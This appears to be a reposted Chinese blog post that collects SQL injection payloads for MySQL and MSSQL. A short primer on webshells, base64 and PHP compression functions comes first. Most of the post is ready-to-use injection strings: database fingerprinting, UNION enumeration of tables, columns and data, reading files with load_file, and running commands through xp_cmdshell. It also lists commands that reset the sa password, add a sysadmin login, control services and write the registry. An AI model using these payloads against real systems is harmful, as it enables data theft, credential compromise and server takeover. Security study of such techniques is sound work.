SQL注入实战— MsSQL 常见注入命令

当你的才华

还撑不起你的野心时

那你就应该静下心来学习

      我从网上找的别人总结MsSQL 常见注入的一些命令,然后集合在一起,放在这里方便大家参考。

       进入正题之前先扫一下盲区,可能有朋友已经会了,可以跳过

目录

MsSQL 常见注入命令总结

判断数据库类型:

内容如下
1、webshell

      WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。一般来说,***在r侵了 一个网站后,常常在将这些asp或php***后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后***就可以用web的方式,通过 asp或php***后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。 再通过dos命令或者植入后门***通过服务器漏洞等达到提权的目的 从而旁注同服务器其他的网站。

      webshell可以穿越服务器防火墙,由于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出r侵痕迹的。

2、base64编码

      Base64是网络上最常见的用于传输8Bit字节代码的编码方式之一,常用于在HTTP环境下传递较长的标识信息。

      标准的Base64并不适合直接放在URL里传输,因为URL编码器会把标准Base64中的“/”和“+”字符变为形如“%XX”的形式,而这些“%”号在存入数据库时还需要再进行转换,因为ANSI SQL中已将“%”号用作通配符。

      为解决此问题,可采用一种用于URL的改进Base64编码,它不在末尾填充'='号,并将标准Base64中的“+”和“/”分别改成了“_”和 “-”,这样就免去了在URL编解码和数据库存储时所要作的转换,避免了编码信息长度在此过程中的增加,并统一了数据库、表单等处对象标识符的格式。

3、Php中base64函数

base64_encode()函数

     作用:将字符串以 BASE64 编码。

     语法: string base64_encode(string data)。

     返回值: 字符串。

     函数种类: 编码处理。

     内容说明:本函数将字符串以 MIME BASE64 编码。此编码方式可以让中文字或者图片也能在网络上顺利传输。在 BASE64 编码后的字符串只包含英文字母大小写、阿拉伯数字、加号与反斜线,共 64 个基本字符,不包含其它特殊的字符,因而才取名 BASE64。编码后的字符串比原来的字符串长度再加 1/3 左右。更多的 BASE64 编码信息可以参考 RFC2045 文件之 6.8 节。

例如:

<?php

$str = 'This is an encoded string';

echo base64_encode($str);

?>
base64_decode()函数

      作用:对使用 MIME base64 编码的数据进行解码。

      语法:string base64_decode ( string data)。

      返回值: 字符串。

      函数种类: 编码处理。

      说明:对base64_encode函数编码过的字符串进行解码。

例如:

<?php

$str = 'd2VsbGNvbWUlMjB0byUyMGVyYW5nZSUyMQ== ';

echo base64_decode($str);

?>
4、php中deflate相关函数

      DEFLATE是同时使用了LZ77算法与哈夫曼编码(Huffman Coding)的一个无损数据压缩算法。

gzdeflate()函数

      作用:对数据做DEFLAT编码。

      语法:string gzdeflate ( string data)。

      返回值: 字符串。

     函数种类: 编码处理。

例如:

<?php

$compressed = gzdeflate('Compress me', 9);

echo $compressed;

?>
Gzinflate()函数

      作用:对数据做DEFLAT编码。

      语法:string gzinflate ( string data)。

      返回值: 字符串。

      函数种类: 编码处理。

例如:

<?php

$compressed   = gzdeflate('Compress me', 9);

$uncompressed = gzinflate($compressed);

echo $uncompressed;

?>
 

MsSQL 常见注入命令总结
判断数据库类型: 

Access: 
and (select id from MSysAccessObjects) >0 返回正常说明是access 
MSSQL: 
and (select id from sysobjects) >0 返回正常说明是mssql 
MySQL: 
and length(user())>0 返回正常说明是MySQL 
mysql: 
• 1.判断版本 and ord(mid(version(),1,1))>51 / 返回正常说明是4.0以上版本,可以用union查询 
• 2.利用order by 暴字段,在网址后加 order by 10 /
如果返回正常说明字段大于10 
• 3.再利用union来查询准确字段,如: order by 或者and 1=2 union select 1,2,3,……./*直到返回正常,说明猜到准确字段数。如过滤 
了空格可以用/*/代替。 
• 4.判断数据库连接帐号有没有写权限,and (select count() from mysql.user)>0 /如果结果返回错误,那我们只能猜解管理员帐号和密 
码了。 
• 5.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /
注: 
load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。 
• 6、检测是不是root权限 and/*/ord(mid(user(),1,1))=114/ 
• 7、mysql内置函数hex()转换字符为16进制,如select hex(user()) 
mysql内置函数unhex() 解码16进制,如select unhex(hex(user())) 
• 8、mysql内置函数concat()将多列合并成一列,如select concat(username,0x3A,password) from t_member 
• 9常用内置函数使用: 
select system_user() 查看系统用户 
select current_user() 查询当前用户 
select user() 查询用户 
SELECT version() 查询数据库版本 
SELECT database() 查询当前连接的数据库 
select @@version_compile_os 查询当前操作系统 
select @@datadir 查询读取数据库路径 
select @@basedir 查询MYSQL安装路径 
————————————————————————————————————————
去掉limit 1,1为查询出所有行,第一个数字代表查询第几个,第二个数字代表一次查询出的数量 
第一个数字从1开始递增,查询到3时浏览器返回错误,说明存在2个库/表。 
• 10、查数据库数量 
union select cuncat(schema_name,0x3A) from information_schema.schemata limit 1,1 
• 11、查询表 
union select table_name from information_schema.tables where table_schema =库名 limit 1,1

MSSQL: 
检测是否为SA权限 
and 1=(select IS_SrVROLEMEMBER(‘sysadmin’));– 
检测是否为DB权限 
and 1=(Select IS_MEMBER(‘db_owner’)) 
爆所有数据库 union select name from master.dbo.sysdatabases where dbid=1 1代表第一个库 
爆所有表 
• 第一张表 union select top 1 name from 库名.dbo.sysobjects where xtype=’U’ 
• 第二张表 union select top 1 name from 库名.dbo.sysobjects where xtype=’U’ and name not in(‘第一张表’) 
• 第三张表 union select top 1 name from 库名.dbo.sysobjects where xtype=’U’ and name not in(‘第一张表’,’第二张表’) 
… 
爆列: 
• 爆ID select id from seay.dbo.sysobjects where xtype=’U’ and name=’admin’ 
• 爆第一个列 select top 1 name from seay.dbo.syscolumns where id=ID号 
• 爆第二个列 select top 1 name from seay.dbo.syscolumns where id=ID号 and name not in(‘第一个列’) 
… 
爆数据: 
select 列名 from 表名 
• master.dbo.xp_dirtree ‘c:\’; 遍历目录 
• exec master.dbo.xp_availablemedia;– 获得当前所有驱动器 
• exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表 
• exec master.dbo.xp_dirtree ‘c:\’;– 获得所有子目录的目录树结构 
• exec master.dbo.xp_cmdshell ‘type c:\web\web.config’;– 查看文件的内容 
备份数据库:backup database 库名 to disk=’c:/l.asp’; 
MSSQL内置函数: 
select @@version 查询数据库版本 
select user_name() 查询当前数据库连接用户名 
select db_name() 查询当前数据库名 
更改sa密码 
exec sp_password NULL,’新密码’,’sa’ 
添加SA权限用户 
exec sp_addlogin ‘username’,’pass’,’master’; 
exec sp_addsrvrolemember ‘username’, sysadmin

检测是否支持多行 
;declare @d int;– 
停掉或激活某个服务。 
exec master..xp_servicecontrol ‘stop’,’schedule’ 
exec master..xp_servicecontrol ‘start’,’schedule’ 
解开压缩档。 
xp_unpackcab ‘c:\test.cab’,’c:\temp’,1

恢复 xp_cmdshell 
;exec master..dbo.sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’;– 
开启沙盘模式: 
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1

猜你喜欢

转载自blog.51cto.com/14536975/2438317